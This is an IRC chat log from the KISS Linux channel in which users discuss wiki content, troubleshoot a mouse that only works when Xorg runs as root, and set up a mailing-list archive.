2021-04-13T19:06:26 #kisslinux <tink> zenomat I don't think you should consider 'kernel stuff' as part of kiss when comparing it to other distributions. Kernel stuff will always be there if you want to do it, you can replace your kernel even on Mint, right? Of course, you can also use a default kernel from another distribution in Kiss which could save a lot of time if you don't want to
2021-04-13T19:06:27 #kisslinux <tink> configure it yourself
2021-04-13T19:06:50 #kisslinux <spryc> god, i have been slacking with RTFM lately...
2021-04-13T19:07:00 #kisslinux <dilyn> the site has a lot of content
2021-04-13T19:08:11 #kisslinux <zenomat> tink: I guess, it still is one of the steps to get kiss to even start, so I would count it, but I get your point
2021-04-13T19:08:50 #kisslinux <tink> dilyn do you like keeping the wiki as small as possible or would you like to add in information on other software etc.
2021-04-13T19:09:34 #kisslinux <dilyn> always open to more pull requests! simple pages are best pages, things that don't wholly reproduce other wiki's is ideal
2021-04-13T19:10:09 #kisslinux <dilyn> think, 'specific to KISS', as the guiding principle.
2021-04-13T19:12:21 #kisslinux <tink> what about device-specific kernel config entries in the wiki? is thinkpad there because it is very popular among kiss users / what dylan used or such pages are wanted?
2021-04-13T19:13:47 #kisslinux <dilyn> I think it was put there as an example of 'kernel config help for broad types of machines and popular types'
2021-04-13T19:13:56 #kisslinux <dilyn> for instance there was a draft AMD Ryzen page that nobody ever filled in
2021-04-13T19:14:38 #kisslinux <thermatix93> well that's wierd
2021-04-13T19:15:19 #kisslinux <dilyn> that's ominous
2021-04-13T19:17:34 #kisslinux <thermatix> back
2021-04-13T19:17:37 #kisslinux <thermatix> properly
2021-04-13T19:19:00 #kisslinux <thermatix> thanks for the tip zenomat, works better now
2021-04-13T19:19:18 #kisslinux <zenomat> eyy, I contributed^^ no problem
2021-04-13T19:19:33 #kisslinux <spryc> gkiss is actually so simple after installed
2021-04-13T19:19:39 #kisslinux <spryc> not g
2021-04-13T19:19:42 #kisslinux <thermatix> whats gkiss?
2021-04-13T19:19:44 #kisslinux <thermatix> oh
2021-04-13T19:19:45 #kisslinux <spryc> normal kiss
2021-04-13T19:19:45 #kisslinux <thermatix> lol
2021-04-13T19:19:50 #kisslinux <thermatix> kissy kissy XD
2021-04-13T19:19:52 #kisslinux <spryc> but there is such things
2021-04-13T19:19:53 #kisslinux <tink> kiss glibc
2021-04-13T19:19:53 #kisslinux <zenomat> normal kiss with glibc
2021-04-13T19:19:55 #kisslinux <spryc> as gkiss
2021-04-13T19:20:30 #kisslinux <spryc> but kiss is easy when installed, xorg, alsa everything just werks!
2021-04-13T19:21:01 #kisslinux <thermatix> https://www.youtube.com/watch?v=YPN0qhSyWy8&vl=en
2021-04-13T19:21:11 #kisslinux <thermatix> :d
2021-04-13T19:21:14 #kisslinux <thermatix> :D
2021-04-13T19:24:21 #kisslinux <tink> because kernel config is not specific to kiss, i can't decide if anything related to it would fit into the wiki. i had to dig through a lot and spend a few days just to get my touchpad working, for instance. if there were a related guide on the wiki, it would make it a lot easier but that's true for all wikis including the gentoo one.
2021-04-13T19:25:59 #kisslinux <dilyn> mmhmm
2021-04-13T19:26:09 #kisslinux <dilyn> a lot of the kernel config is more trial and error than anything
2021-04-13T19:26:32 #kisslinux <thermatix> well, perhaps an external resource list might be usefull?
2021-04-13T19:26:51 #kisslinux <thermatix> not kiss specific but extremely helpfull to have them all in one spot
2021-04-13T19:46:30 #kisslinux <jslick> Speaking of thinkpad wiki, thanks to whoever wrote the thinkpad page. I found it useful when I was installing
2021-04-13T19:54:30 #kisslinux <phoebos[m]> Hei @ you do groff right
2021-04-13T19:54:44 #kisslinux <phoebos[m]> Do you know how to put a caption on a table
2021-04-13T19:55:15 #kisslinux <phoebos[m]> It looks like the hdtbl preprocessor can do it easily but I literally can't find the program itself anywhere
2021-04-13T19:55:23 #kisslinux <phoebos[m]> Just the same manpage lol
2021-04-13T20:02:29 #kisslinux <acheam> wow imagine unironically using roff
2021-04-13T20:03:21 #kisslinux <acheam> this post made by pandoc gang
2021-04-13T20:04:55 #kisslinux <zenomat> pandoc gang assemble
2021-04-13T20:05:51 #kisslinux <claudia02> re wiki kernel config: IMO it would be nice to have more devices like touchpad listet there. At the moment this section looks pretty sparse. Maybe when more sections pop up, more user would contribute?
2021-04-13T20:07:28 #kisslinux <claudia02> Even if its input devices -> touchpads -> "my so hard to configure touchpad", this would be pretty usefull.
2021-04-13T20:08:44 #kisslinux <dilyn> yeah like the fact that my macbook pro only needs two options enabled for the trackpad AND the keyboard to work because it all runs off the single mouse driver
2021-04-13T20:08:51 #kisslinux <dilyn> sneaky secrets abound
2021-04-13T20:10:18 #kisslinux <claudia02> Imagine how long you looked on *the internet* to find those valuable options v
2021-04-13T20:10:22 #kisslinux <claudia02> :v
2021-04-13T20:11:53 #kisslinux <claudia02> btw dilyn, sometimes your sarcasm takes a lot of my brain power to process.
2021-04-13T20:15:51 #kisslinux <thermatix> I said I was done for the day customising stuff...
2021-04-13T20:15:56 #kisslinux <thermatix> and now I'm back at it >_<
2021-04-13T20:24:06 #kisslinux <ominous_anonymou> i'm trying to build something that requires cmake and installs by default to /usr/local
2021-04-13T20:24:39 #kisslinux <ominous_anonymou> so i passed it -DCMAKE_INSTALL_PREFIX=/usr
2021-04-13T20:24:55 #kisslinux <ominous_anonymou> and they have the build scripts set to accept that... and ignore it
2021-04-13T20:25:35 #kisslinux <dilyn> they obviously know better than you
2021-04-13T20:25:41 #kisslinux <dilyn> claudia02: sarcasm? hmm
2021-04-13T20:26:11 #kisslinux <phoebos[m]> acheam: still not sure if I'm using it unironically or not
2021-04-13T20:29:50 #kisslinux <acheam> lol
2021-04-13T20:30:24 #kisslinux <spryc> what things do i have to do other than install xf86-input-libinput for mouse input to work?
2021-04-13T20:31:12 #kisslinux <ominous_anonymou> what kind of mouse are you using
2021-04-13T20:31:37 #kisslinux <ominous_anonymou> and is your user a member of the group input?
2021-04-13T20:31:55 #kisslinux <spryc> i am a member of the group input, it is a logitech g102 usb mouse
2021-04-13T20:32:59 #kisslinux <ominous_anonymou> does it show up under `lsusb` output
2021-04-13T20:33:30 #kisslinux <spryc> yep it does
2021-04-13T20:34:37 #kisslinux <ominous_anonymou> and when you start x, do you have any mouse movement/input at all?
2021-04-13T20:35:22 #kisslinux <spryc> i do not
2021-04-13T20:38:22 #kisslinux <ominous_anonymou> i wonder if you'll need to poke around linux-firmware for a driver
2021-04-13T20:38:37 #kisslinux <spryc> i dont think so
2021-04-13T20:38:48 #kisslinux <spryc> if i run cat /dev/input/mouse1 it shows input
2021-04-13T20:39:05 #kisslinux <spryc> so its just X
2021-04-13T20:40:59 #kisslinux <ominous_anonymou> are there any errors showing up in your X server log?
2021-04-13T20:43:53 #kisslinux <spryc> xf86openserial: cannot open device /dev/input/event18. Permission denied
2021-04-13T20:43:57 #kisslinux <spryc> could be a permission issue
2021-04-13T20:44:19 #kisslinux <spryc> it does that for all input devices
2021-04-13T20:45:01 #kisslinux <spryc> it fails to create devices for them because permission denied?
2021-04-13T20:45:06 #kisslinux <ominous_anonymou> sounds like your keyboard works ok?
2021-04-13T20:45:12 #kisslinux <spryc> keyboard works yes
2021-04-13T20:45:53 #kisslinux <ominous_anonymou> might be a dumb question, but have you rebooted or logged out and back in?
2021-04-13T20:46:05 #kisslinux <spryc> yes i have
2021-04-13T20:46:45 #kisslinux <spryc> mouse input works when i start x as root...
2021-04-13T20:47:54 #kisslinux <spryc> now what do i need to change for the permissions of U/dev/input?
2021-04-13T20:48:08 #kisslinux <spryc> these are the current ones: http://0x0.st/-TD2.txt
2021-04-13T20:49:02 #kisslinux <ominous_anonymou> you shouldn't need to change any of those
2021-04-13T20:49:23 #kisslinux <ominous_anonymou> mouse input should work fine with x started as non-root
2021-04-13T20:50:22 #kisslinux <dilyn> ls -l /dev/input ?
2021-04-13T20:50:31 #kisslinux <dilyn> ah
2021-04-13T20:50:36 #kisslinux <dilyn> hmmmmmhmmm
2021-04-13T20:51:11 #kisslinux <dilyn> you have libinput installed, yes? lol
2021-04-13T20:51:17 #kisslinux <spryc> yeah
2021-04-13T20:51:26 #kisslinux <dilyn> last week I somehow ended up with xf86-input-libinput but not libinput
2021-04-13T20:51:29 #kisslinux <spryc> libinput and xf86-input-libinput
2021-04-13T20:53:28 #kisslinux <spryc> just so weird how i can use my mouse as expected when running x as root
2021-04-13T20:53:55 #kisslinux <dilyn> then yeah that's strictly just a permissions issue
2021-04-13T20:54:17 #kisslinux <dilyn> and you're sure your user has the right uid:gid and is in all the right groups with no typos?
2021-04-13T20:54:52 #kisslinux <spryc> my user is in wheel audio video and input
2021-04-13T20:54:54 #kisslinux <acheam> kiedtl is abusing drewlang
2021-04-13T20:55:03 #kisslinux <spryc> and a group that is just his name
2021-04-13T20:55:34 #kisslinux <acheam> are you actually interested in it?
2021-04-13T20:56:17 #kisslinux <acheam> I don't really see what is so good in it that it is worth the practical tradeoffs of using a langauge that only 15 people have ever used
2021-04-13T21:01:18 #kisslinux <kiedtl> >is abusing drewlang
2021-04-13T21:01:19 #kisslinux <kiedtl> ??
2021-04-13T21:03:32 #kisslinux <ominous_anonymou> spryc what device manager are you using?
2021-04-13T21:03:56 #kisslinux <ominous_anonymou> mdev / eudev / other ?
2021-04-13T21:05:22 #kisslinux <kiedtl> acheam: I'm trying out the language, in order to see 1) whether the obvious defects really matter that much and 2) to compare it to Zig.
2021-04-13T21:05:38 #kisslinux <kiedtl> If I'm favorably impressed, who knows, I might use it instead of C occasionally when the language matures
2021-04-13T21:05:58 #kisslinux <kiedtl> and yes, obviously give that the thing is *very* pre-alpha I doubt even 15 people have used it :P
2021-04-13T21:06:05 #kisslinux <kiedtl> s/give/given
2021-04-13T21:06:07 #kisslinux <kiedtl> s/give/given/
2021-04-13T21:06:07 #kisslinux <movzbl> <kiedtl> and yes, obviously given that the thing is *very* pre-alpha I doubt even 15 people have used it :P
2021-04-13T21:29:57 #kisslinux <spryc> i am using eudev
2021-04-13T21:30:17 #kisslinux <spryc> wait
2021-04-13T21:30:23 #kisslinux <spryc> actually im using libudev-zero
2021-04-13T21:30:45 #kisslinux <spryc> i just followed the install instructions for that
2021-04-13T21:38:12 #kisslinux <ominous_anonymou> is a reboot consistent in which device nodes get root-only permissions applied?
2021-04-13T21:41:02 #kisslinux <acheam> kiedtl: makes sense
2021-04-13T21:41:50 #kisslinux <spryc> uhm i dont know, should i use eudev instead tho?
2021-04-13T21:41:55 #kisslinux <tink> apparently touchpad (possibly applies to a mouse as well) click action and moving the pointer are handled by separate things. when i was trying to get my touchpad to work, i was able to switch between terminals by clicking in sowm but i wasn't able to move the pointer
2021-04-13T21:48:37 #kisslinux <ominous_anonymou> i would try a couple reboots and see whether they're consistently wrong or not. if still wonky, then sure try a different udev
2021-04-13T21:49:43 #kisslinux <kiedtl> acheam: still not sure what you mean by "kiedtl is abusing drewlang"
2021-04-13T21:50:10 #kisslinux <acheam> oh just by making a huge array
2021-04-13T21:50:19 #kisslinux <acheam> you hadn't explained why when you asked your question first
2021-04-13T21:50:23 #kisslinux <acheam> so it seemed a little bit absurd
2021-04-13T21:50:44 #kisslinux <acheam> ie; you were actively pushing the limits of it
2021-04-13T21:54:27 #kisslinux <spryc> i should probably change the udev rules to MODE=660
2021-04-13T21:54:42 #kisslinux <spryc> for my usb devices i need
2021-04-13T21:56:10 #kisslinux <spryc> but what i cant explain is why i can see input when catting /dev/input/mouse2
2021-04-13T21:56:24 #kisslinux <spryc> which means the issue is xorg as user only
2021-04-13T21:57:10 #kisslinux <kiedtl> re drewlang: ah lol
2021-04-13T21:58:05 #kisslinux <spryc> gotta go to sleep now, it's quite late i'll try to fix it tomorrow
2021-04-13T21:58:06 #kisslinux <spryc> gn
2021-04-13T22:02:07 #kisslinux <merakor2> I wasn't exactly expecting the IRC experience on the mailing list
2021-04-13T22:02:19 #kisslinux <dilyn> INDEED
2021-04-13T22:02:34 #kisslinux <dilyn> it will be more calm when I don't say 'feel free to literally annihilate my inbox'
2021-04-13T22:02:56 #kisslinux <merakor2> Yup
2021-04-13T22:03:03 #kisslinux <acheam> lol
2021-04-13T22:03:10 #kisslinux <dilyn> just > reply > to > the > list > *notes*
2021-04-13T22:03:14 #kisslinux <acheam> merakor2: is ckyln.com purposefully blank?
2021-04-13T22:03:27 #kisslinux <dilyn> 'this webpage intentionally left unscrapeable'
2021-04-13T22:03:52 #kisslinux <acheam> i'm gettting lots of doubled emails :/
2021-04-13T22:04:31 #kisslinux <merakor2> I mean, I happen to have two separate domains, and my personal website is on cemkeylan.com
2021-04-13T22:04:53 #kisslinux <acheam> ik, I just figured that it was weird it had a title, and then under it just blank
2021-04-13T22:04:53 #kisslinux <merakor2> So not exactly purposefully
2021-04-13T22:04:59 #kisslinux <acheam> its a pretty empty archive
2021-04-13T22:05:25 #kisslinux <merakor2> It has a title?
2021-04-13T22:05:38 #kisslinux <acheam> "This is an archive of my pushed patches and whatnot"
2021-04-13T22:05:54 #kisslinux <merakor2> Oh yeah
2021-04-13T22:06:04 #kisslinux <merakor2> Now I remember
2021-04-13T22:06:19 #kisslinux <merakor2> It is not a browsable archive
2021-04-13T22:06:25 #kisslinux <merakor2> It's my pastebin
2021-04-13T22:06:29 #kisslinux <acheam> ah
2021-04-13T22:07:25 #kisslinux <merakor2> Archive is definitely the wrong word, I forgot that site existed
2021-04-13T22:07:30 #kisslinux <acheam> heh
2021-04-13T22:07:49 #kisslinux <acheam> i'm copying your "this page in plaintext" by the way
2021-04-13T22:07:53 #kisslinux <acheam> hope you don't mind
2021-04-13T22:08:33 #kisslinux <merakor2> Yeah, go ahead
2021-04-13T22:08:53 #kisslinux <acheam> imagine copyrighting that
2021-04-13T22:11:05 #kisslinux <merakor2> Hey that's eula
2021-04-13T22:11:51 #kisslinux <merakor2> By copying that, you agree to install a keylogger to your pc and sending all logs to me
2021-04-13T22:12:18 #kisslinux <acheam> sounds like oracle
2021-04-13T22:13:05 #kisslinux <merakor2> Lol
2021-04-13T22:36:00 #kisslinux <dilyn> heyo, I have basically figured out how to work bubger. Amazing.
2021-04-13T22:36:06 #kisslinux <dilyn> now just to decide how to do this...
2021-04-13T22:36:29 #kisslinux <acheam> yay
2021-04-13T22:36:36 #kisslinux <acheam> wait why no reply all
2021-04-13T22:36:46 #kisslinux <acheam> isn't that... how you do mailing lists?
2021-04-13T22:37:48 #kisslinux <acheam> dilyn: .........
2021-04-13T22:37:49 #kisslinux <acheam> https://i.imgur.com/o1Z9kN0.png
2021-04-13T22:38:53 #kisslinux <dilyn> sometimes it do that
2021-04-13T22:38:55 #kisslinux <dilyn> idk why
2021-04-13T22:39:15 #kisslinux <acheam> .....
2021-04-13T22:39:18 #kisslinux <jslick> What's bubger? The interwebs search just shows burger king results
2021-04-13T22:39:22 #kisslinux <acheam> lol
2021-04-13T22:39:32 #kisslinux <acheam> static site generator for email
2021-04-13T22:39:37 #kisslinux <acheam> https://git.causal.agency/bubger
2021-04-13T22:39:46 #kisslinux <acheam> written by a genius
2021-04-13T22:40:05 #kisslinux <jslick> haha, cool thanks
2021-04-13T22:40:19 #kisslinux <dilyn> if mlmmj were smarter, I think it's 'mailman' like features would be better
2021-04-13T22:40:36 #kisslinux <dilyn> there's a tunable that allegedly lets you specify to not send an email to a person twice, but...
2021-04-13T22:40:45 #kisslinux <dilyn> maybe i just need to reread the page on that.
2021-04-13T22:41:49 #kisslinux <acheam> I would try and fix it
2021-04-13T22:41:57 #kisslinux <acheam> just so new people don't have to be told not to reply all
2021-04-13T22:41:59 #kisslinux <acheam> hi riteo
2021-04-13T22:42:00 #kisslinux <riteo> Hi guys!
2021-04-13T22:42:09 #kisslinux <acheam> its been some days
2021-04-13T22:46:54 #kisslinux <riteo> yeah
2021-04-13T22:47:25 #kisslinux <dilyn> hey riteo
2021-04-13T22:47:46 #kisslinux <dilyn> yeah acheam it's definitely going to be my biggest headache. And will make this archive... more difficult. lol
2021-04-13T22:50:12 #kisslinux <dilyn> http://mlmmj.org/docs/tunables/ notmetoo is what we want but... it's in there :X
2021-04-13T22:50:13 #kisslinux <dilyn> hng
2021-04-13T23:23:37 #kisslinux <acheam> lol
2021-04-13T23:23:47 #kisslinux <acheam> I feel like I am very responsible for your pain
2021-04-13T23:23:53 #kisslinux <acheam> and for that, I dearly apologize
2021-04-13T23:33:58 #kisslinux <dilyn> https://archive.k1sslinux.org/ :o
2021-04-13T23:34:54 #kisslinux <dilyn> the dupes in the chains are purely from me receiving my own message a brazillion times lol
2021-04-13T23:34:55 #kisslinux <dilyn> BUT
2021-04-13T23:35:03 #kisslinux <dilyn> itwerks(tm)
2021-04-13T23:41:32 #kisslinux <dilyn> lmao and we can just cutely carry over the git mirror stylesheet to soften up the page
2021-04-13T23:43:13 #kisslinux <dilyn> I think making it propogate to each thread is just as easy as inserting a line into the source too. hot diggity
2021-04-13T23:47:52 #kisslinux <acheam> woohoo!